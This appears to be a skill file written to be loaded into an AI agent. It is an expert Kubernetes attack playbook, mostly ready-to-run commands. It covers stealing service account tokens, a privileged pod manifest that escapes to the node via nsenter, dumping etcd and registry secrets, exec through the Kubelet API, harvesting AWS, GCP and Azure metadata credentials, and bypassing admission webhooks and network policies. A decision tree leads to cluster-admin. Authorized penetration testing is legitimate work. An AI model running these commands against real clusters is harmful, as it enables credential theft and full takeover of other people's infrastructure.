SKILL: Kubernetes Pentesting — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert Kubernetes attack techniques. Covers API server access, RBAC escalation, service account token abuse, etcd secrets extraction, Kubelet API exploitation, cloud IMDS access (EKS/GKE/AKS), admission webhook bypass, and network policy evasion. Base models miss the distinction between namespace-scoped and cluster-scoped RBAC, and overlook Kubelet's unauthenticated API.
0. RELATED ROUTING
Before going deep, consider loading:
- container-escape-techniques for escaping from a compromised pod to the underlying node
- linux-privilege-escalation once on a node for escalating to root
- linux-lateral-movement for pivoting between nodes
- linux-security-bypass when Pod Security Standards or seccomp profiles restrict your actions
- ssrf-server-side-request-forgery when exploiting SSRF to reach the K8s API or cloud metadata
1. K8S API SERVER ACCESS
1.1 Anonymous Access Check
bash# Check if anonymous auth is enabled (default: limited in modern clusters) curl -sk https://APISERVER:6443/api/v1/namespaces curl -sk https://APISERVER:6443/version curl -sk https://APISERVER:6443/api curl -sk https://APISERVER:6443/apis # Common API server ports: # 6443 — secure API (default) # 8443 — alternative secure # 8080 — insecure API (legacy, no auth needed)
1.2 Token-Based Authentication (from inside pod)
bashTOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace) APISERVER="https://kubernetes.default.svc" curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \ $APISERVER/api/v1/namespaces/$NAMESPACE/pods
1.3 Certificate / Kubeconfig Authentication
bash# Common kubeconfig locations: ~/.kube/config, /etc/kubernetes/admin.conf, # /etc/kubernetes/kubelet.conf, /var/lib/kubelet/kubeconfig kubectl --kubeconfig=/etc/kubernetes/admin.conf get pods --all-namespaces
2. RBAC ENUMERATION
2.1 Self-Permission Check
bash# What can I do? kubectl auth can-i --list kubectl auth can-i --list -n kube-system # Specific checks kubectl auth can-i create pods kubectl auth can-i create pods -n kube-system kubectl auth can-i get secrets kubectl auth can-i '*' '*' # Full cluster admin? # Via API (from inside pod): curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \ $APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \ -H "Content-Type: application/json" \ -d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$NAMESPACE\"}}"
2.2 Role and ClusterRole Enumeration
bashkubectl get roles --all-namespaces && kubectl get clusterroles kubectl describe clusterrole CLUSTER_ROLE_NAME # Find overprivileged roles (wildcard verbs/resources): kubectl get clusterroles -o json | python3 -c 'import sys,json;data=json.load(sys.stdin);[print(f"OVERPRIVILEGED: {r[\"metadata\"][\"name\"]}") for r in data["items"] for rule in r.get("rules",[]) if "*" in rule.get("verbs",[]) or "*" in rule.get("resources",[])]'
2.3 Dangerous RBAC Permissions
| Permission | Risk | Escalation Path |
|---|---|---|
pods/exec | Critical | Exec into any pod (access secrets, tokens) |
pods (create) | Critical | Create privileged pod → node access |
secrets (get/list) | Critical | Read all secrets including SA tokens |
serviceaccounts/token (create) | Critical | Generate token for any SA |
nodes/proxy | High | Proxy to Kubelet API |
escalate on roles | Critical | Grant yourself any permission |
bind on rolebindings | Critical | Bind any role to yourself |
impersonate | Critical | Impersonate any user/SA |
3. SERVICE ACCOUNT TOKEN ABUSE
3.1 Token Location and Decoding
bash# Default mount point cat /var/run/secrets/kubernetes.io/serviceaccount/token # Decode JWT (no verification needed) TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool # Shows: namespace, service account name, expiry
3.2 Escalation via Service Account
bash# If SA has elevated permissions — dump secrets, create privileged pod: kubectl get secrets --all-namespaces kubectl apply -f - << 'EOF' apiVersion: v1 kind: Pod metadata: { name: privesc } spec: hostPID: true hostNetwork: true containers: - name: pwn image: alpine command: ["/bin/sh","-c","nsenter -t 1 -m -u -i -n -p -- /bin/bash"] securityContext: { privileged: true } volumeMounts: [{ name: hostfs, mountPath: /host }] volumes: [{ name: hostfs, hostPath: { path: / }}] EOF
3.3 Token Generation
bash# If serviceaccounts/token create permission: kubectl create token admin-sa -n kube-system --duration=87600h
4. ETCD DIRECT ACCESS
bash# Check anonymous access (port 2379 on master nodes): curl -sk https://ETCD_IP:2379/version # With certs from master node (/etc/kubernetes/pki/etcd/): ETCDCTL_API=3 etcdctl --endpoints=https://ETCD_IP:2379 \ --cacert=ca.crt --cert=server.crt --key=server.key \ get / --prefix --keys-only | grep secrets # Dump specific secret: ETCDCTL_API=3 etcdctl ... get /registry/secrets/default/my-secret
5. POD ESCAPE TO NODE
See container-escape-techniques for detailed escape chains.
Quick reference for K8s-specific vectors:
| Vector | Requirement | Command |
|---|---|---|
| hostPID | spec.hostPID: true | nsenter -t 1 -m -u -i -n -p -- bash |
| hostNetwork | spec.hostNetwork: true | Access node services (Kubelet, etcd) |
hostPath / | Volume mount of host root | chroot /host bash |
| Privileged container | securityContext.privileged: true | Mount host disk / nsenter |
6. KUBELET API (Port 10250/10255)
bashcurl -sk https://NODE_IP:10250/pods # Anonymous access check # 10255 = read-only (legacy, HTTP) # Exec into pod via Kubelet (bypasses API server RBAC): curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME -d "cmd=id" # Read logs: curl -sk https://NODE_IP:10250/containerLogs/NAMESPACE/POD_NAME/CONTAINER_NAME
7. CLOUD-SPECIFIC ATTACKS
7.1 AWS EKS — IMDS Access
bash# From inside a pod (if IMDSv1 or no hop limit enforced): curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ # Returns IAM role name, then: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME # Returns temporary AWS credentials (AccessKeyId, SecretAccessKey, Token) # IMDSv2 (token required): IMDS_TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") curl -s -H "X-aws-ec2-metadata-token: $IMDS_TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/ # EKS-specific: IRSA (IAM Roles for Service Accounts) # Token at: /var/run/secrets/eks.amazonaws.com/serviceaccount/token # Env vars: AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE
7.2 GCP GKE — Metadata API
bash# GCE metadata server curl -s -H "Metadata-Flavor: Google" \ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token # Returns OAuth2 access token # List available scopes curl -s -H "Metadata-Flavor: Google" \ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes # GKE Workload Identity (if configured): # The pod's SA is mapped to a GCP SA # Token automatically available for GCP API calls
7.3 Azure AKS — Managed Identity
bash# Azure IMDS curl -s -H "Metadata: true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" # Returns Azure access token # AKS Pod Identity / Workload Identity # Check for AZURE_CLIENT_ID, AZURE_TENANT_ID env vars env | grep AZURE
8. ADMISSION WEBHOOK BYPASS
| Strategy | Command/Method |
|---|---|
| Excluded namespace | kubectl get validatingwebhookconfigurations -o yaml | grep namespaceSelector → use excluded NS |
| failurePolicy: Ignore | If webhook server down → admission skipped |
| Ephemeral containers | kubectl debug POD -it --image=alpine (may not be covered) |
| Static pods | Place manifest in /etc/kubernetes/manifests/ on node (bypasses API admission) |
9. CONTAINER REGISTRY ACCESS
bash# Extract pull secrets (dockerconfigjson): kubectl get secrets --all-namespaces -o json | python3 -c 'import sys,json,base64;[print(s["metadata"]["name"],base64.b64decode(s["data"][".dockerconfigjson"]).decode()) for s in json.load(sys.stdin)["items"] if s["type"]=="kubernetes.io/dockerconfigjson"]' # Pull + inspect images for hardcoded secrets: docker pull REGISTRY/app:latest && docker history REGISTRY/app:latest --no-trunc
10. NETWORK POLICY ENUMERATION & BYPASS
bashkubectl get networkpolicies --all-namespaces # Find namespaces without policies (default allow-all): for ns in $(kubectl get ns -o name | cut -d/ -f2); do [ "$(kubectl get netpol -n $ns --no-headers 2>/dev/null | wc -l)" -eq 0 ] && echo "NO POLICY: $ns" done
Bypass strategies: DNS exfiltration (port 53 rarely blocked), allowed port tunneling, pod in unprotected namespace, hostNetwork: true bypasses pod network policies entirely.
11. TOOLS
| Tool | Purpose | Command |
|---|---|---|
| kubectl | K8s API interaction | kubectl auth can-i --list |
| kube-hunter | Automated K8s vulnerability scanning | kube-hunter --remote TARGET |
| peirates | K8s pentesting from inside a pod | ./peirates |
| kubesploit | Post-exploitation framework for K8s | Agent-based C2 |
| CDK | Container/K8s exploitation toolkit | ./cdk evaluate |
| kubeletctl | Interact with Kubelet API directly | kubeletctl pods -s NODE_IP |
| kubeaudit | Cluster misconfiguration audit | kubeaudit all |
12. KUBERNETES PENTESTING DECISION TREE
Access to Kubernetes environment? │ ├── Inside a pod? │ ├── Read SA token → check RBAC permissions (§2.1) │ │ ├── Can create pods? → privileged pod escape (§3.2) │ │ ├── Can read secrets? → dump all secrets (§3.2) │ │ ├── Can exec into pods? → pivot to other pods │ │ └── Minimal permissions → try Kubelet API (§6) │ │ │ ├── Cloud environment? │ │ ├── AWS → check IMDS for IAM creds (§7.1) │ │ ├── GCP → check metadata for OAuth token (§7.2) │ │ └── Azure → check IMDS for managed identity (§7.3) │ │ │ └── Escape to node? → load container-escape-techniques │ ├── Access to node? │ ├── kubeconfig found? → full cluster access (§1.3) │ ├── etcd accessible? → dump all secrets (§4) │ ├── Kubelet cert/key? → API server access │ └── Static pod manifests? → create privileged static pod (§8) │ ├── External access only? │ ├── API server exposed? → anonymous/token check (§1) │ ├── Kubelet 10250 exposed? → direct pod exec (§6) │ ├── etcd 2379 exposed? → direct secret dump (§4) │ └── Dashboard/UI exposed? → authentication bypass │ ├── RBAC escalation path? │ ├── escalate/bind permissions? → grant cluster-admin (§2.3) │ ├── impersonate permission? → act as admin (§2.3) │ ├── serviceaccounts/token create? → mint admin token (§3.3) │ └── Overprivileged clusterrole? → abuse wildcards (§2.2) │ └── No direct escalation? ├── Enumerate network policies → find unprotected namespaces (§10) ├── Check admission webhooks → find bypass (§8) ├── Pull registry images → search for secrets (§9) └── Scan nodes for exposed services → Kubelet, etcd
